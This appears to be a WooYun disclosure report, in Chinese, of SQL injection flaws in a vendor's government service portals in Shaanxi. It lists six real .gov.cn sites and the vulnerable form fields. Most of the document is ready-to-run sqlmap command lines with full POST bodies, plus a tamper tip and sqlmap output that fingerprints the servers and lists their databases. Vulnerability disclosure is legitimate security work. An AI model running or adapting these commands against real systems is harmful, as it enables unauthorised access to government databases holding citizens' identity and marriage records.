WooYun.org

西安网是科技发展有限公司
厂商名字
主要影响的是陕西的一些
注入的位置Services/Singleton/cbd1727fbe80c268/0306/610122103203.shtml
参数 ：1-4 txtName,txtMateName,txtMateIDCard
案例
http://service.ltpop.gov.cn/
http://service.zzxpop.gov.cn/
http://service.zyxpop.gov.cn/
http://service.akpop.gov.cn/
http://service.hsrk.gov.cn/
http://service.ltjsj.gov.cn/
来两个丢进sqlmap
http://service.ltpop.gov.cn/Services/Singleton/cbd1727fbe80c268/0306/610122103203.shtml --data "__VIEWSTATE=%2FwEPDwUKLTE0Mjg5NTI1MQ9kFgICAxBkZBYCAhEPDxYCHgdWaXNpYmxlZ2QWAgIBDw9kFgIeB29uY2xpY2sFHnJldHVybiBWYWxpZGF0ZU1hcnJ5cygnMDMwNicpO2RkaXmHoAlAKLE%2BcpnhMWe7lrOmQFo%3D&txtU=Singleton&txtV=cbd1727fbe80c268&txtW=0306&txtX=610122103203&SearchKeys=+%E5%85%B3%E9%94%AE%E5%AD%97&txtName=SSS&txtIDCard=370205621219253&txtOriginalArea=2&txtMateName=2&txtMateIDCard=370205621219253&txtMateOriginalArea=2&txtMarriageStatus=%E5%86%8D%E5%A9%9A&txtCurrentAddress=2&txtCommTxtA=&pType=0&cbx01=1&cbx01=1&cbx01=1&cbx01=1&cbx01=1&txtCommMemo=222&txtContactTel=13232123212&txtContaceMail=&ButApply=&GoBack=" -p "txtName,txtMateName,txtMateIDCard"
txtIDCard 可能需要加上--tamper=between 才能跑出来
其他案例没有这个现象

there were multiple injection points, please select the one to use for following
 injections:
[0] place: POST, parameter: txtMateIDCard, type: Single quoted string (default)
[1] place: POST, parameter: txtName, type: Single quoted string
[2] place: POST, parameter: txtMateName, type: Single quoted string
[3] place: POST, parameter: txtIDCard, type: Single quoted string
[q] Quit
>
[13:36:09] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[13:36:09] [INFO] fetching database names
[13:36:11] [WARNING] something went wrong with full UNION technique (most probab
ly because of limitation on retrieved number of entries). Falling back to partia
l UNION technique
[13:36:14] [WARNING] the SQL query provided does not return any output
[13:36:16] [WARNING] the SQL query provided does not return any output
[13:36:16] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[13:36:16] [INFO] fetching number of databases
[13:36:16] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[13:36:16] [INFO] retrieved:
[13:36:20] [WARNING] time-based comparison requires larger statistical model, pl
ease wait........................
[13:36:34] [CRITICAL] there is considerable lagging in connection response(s). P
lease use as high value for option '--time-sec' as possible (e.g. 10 or more)
[13:36:36] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
[13:36:39] [ERROR] unable to retrieve the number of databases
[13:36:40] [INFO] heuristics detected web page charset 'ISO-8859-2'
available databases [8]:
[*] LT_CIEP
[*] LT_PMSS
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb

http://service.ltjsj.gov.cn/Services/Singleton/cbd1727fbe80c268/0306/610115007206.shtml --data "__VIEWSTATE=%2FwEPDwUKLTE0Mjg5NTI1MQ9kFgICAxBkZBYCAhEPDxYCHgdWaXNpYmxlZ2QWAgIBDw9kFgIeB29uY2xpY2sFHnJldHVybiBWYWxpZGF0ZU1hcnJ5cygnMDMwNicpO2RkA41bZJ0pOCVnH1OVFXDeb2IXFO8%3D&txtU=Singleton&txtV=cbd1727fbe80c268&txtW=0306&txtX=610115007206&SearchKeys=+%E5%85%B3%E9%94%AE%E5%AD%97&txtName=370205621219&txtIDCard=370205621219253&txtOriginalArea=370205621219253&txtMateName=370205621219&txtMateIDCard=370205621219253&txtMateOriginalArea=370205621219253&txtMarriageStatus=%E5%88%9D%E5%A9%9A&txtCurrentAddress=370205621219253&txtCommTxtA=&pType=0&cbx01=1&cbx01=1&cbx01=1&cbx01=1&cbx01=1&txtCommMemo=370205621219253&txtContactTel=13232123212&txtContaceMail=2323%40qq.com&ButApply=&GoBack=" -p "txtName,txtMateName,txtMateIDCard,txtIDCard "

注入的位置Services/MarriageLicenceCheck/48579fe82701a5bd/0302/610122106207.shtml
参数：1-4 txtName,txtMateName,txtMateIDCard,txtIDCard
案例
http://service.ltpop.gov.cn/
http://service.zzxpop.gov.cn/
http://service.zyxpop.gov.cn/
http://service.akpop.gov.cn/
http://service.hsrk.gov.cn/
http://service.ltjsj.gov.cn/
丢两个进sqlmap
http://service.ltpop.gov.cn/Services/MarriageLicenceCheck/48579fe82701a5bd/0302/610122106207.shtml --data "__VIEWSTATE=%2FwEPDwUKLTE0Mjg5NTI1MQ9kFgICAxBkZBYCAhEPDxYCHgdWaXNpYmxlZ2QWAgIBDw9kFgIeB29uY2xpY2sFHnJldHVybiBWYWxpZGF0ZU1hcnJ5cygnMDMwMicpO2RkNcJcvGZzD6lzBe%2F%2BYaShyuSYPwQ%3D&txtU=MarriageLicenceCheck&txtV=48579fe82701a5bd&txtW=0302&txtX=610122106207&SearchKeys=+%E5%85%B3%E9%94%AE%E5%AD%97&txtName=22&txtIDCard=370205621219253&txtOriginalArea=22&txtMateName=22&txtMateIDCard=370205621219253&txtMateOriginalArea=22&txtMarriageStatus=%E5%86%8D%E5%A9%9A&txtCurrentAddress=370205621219253&txtSY01=1&txtSY02=&txtSY03=%E7%94%B7&txtSY04=&txtSY05=%E6%94%BF%E7%AD%96%E5%86%85&txtSY01=2&txtSY02=&txtSY03=%E7%94%B7&txtSY04=&txtSY05=%E6%94%BF%E7%AD%96%E5%86%85&txtSY01=3&txtSY02=&txtSY03=%E7%94%B7&txtSY04=&txtSY05=%E6%94%BF%E7%AD%96%E5%A4%96&txtCommTxtA=370205621219253&txtCommTxtB=370205621219253&txtCommMemo=370205621219253&txtContactTel=13232123212&txtContaceMail=2323%40qq.com&ButApply=&GoBack=" -p "txtName,txtMateName,txtMateIDCard,txtIDCard "

http://service.ltpop.gov.cn/Services/MarriageLicenceCheck/48579fe82701a5bd/0302/610122108207.shtml --data "__VIEWSTATE=%2FwEPDwUKLTE0Mjg5NTI1MQ9kFgICAxBkZBYCAhEPDxYCHgdWaXNpYmxlZ2QWAgIBDw9kFgIeB29uY2xpY2sFHnJldHVybiBWYWxpZGF0ZU1hcnJ5cygnMDMwMicpO2RkNcJcvGZzD6lzBe%2F%2BYaShyuSYPwQ%3D&txtU=MarriageLicenceCheck&txtV=48579fe82701a5bd&txtW=0302&txtX=610122108207&SearchKeys=+%E5%85%B3%E9%94%AE%E5%AD%97&txtName=370205621219&txtIDCard=370205621219253&txtOriginalArea=370205621219&txtMateName=370205621219&txtMateIDCard=370205621219253&txtMateOriginalArea=370205621219&txtMarriageStatus=%E6%9C%AA%E5%A9%9A&txtCurrentAddress=370205621219&txtSY01=1&txtSY02=3702056212&txtSY03=%E7%94%B7&txtSY04=370205621219&txtSY05=%E6%94%BF%E7%AD%96%E5%86%85&txtSY01=2&txtSY02=&txtSY03=&txtSY04=&txtSY05=&txtSY01=3&txtSY02=&txtSY03=&txtSY04=&txtSY05=&txtCommTxtA=370205621219&txtCommTxtB=370205621219&txtCommMemo=370205621219&txtContactTel=13232123212&txtContaceMail=2323%40qq.com&ButApply=&GoBack=" -p "txtName,txtMateName,txtMateIDCard,txtIDCard "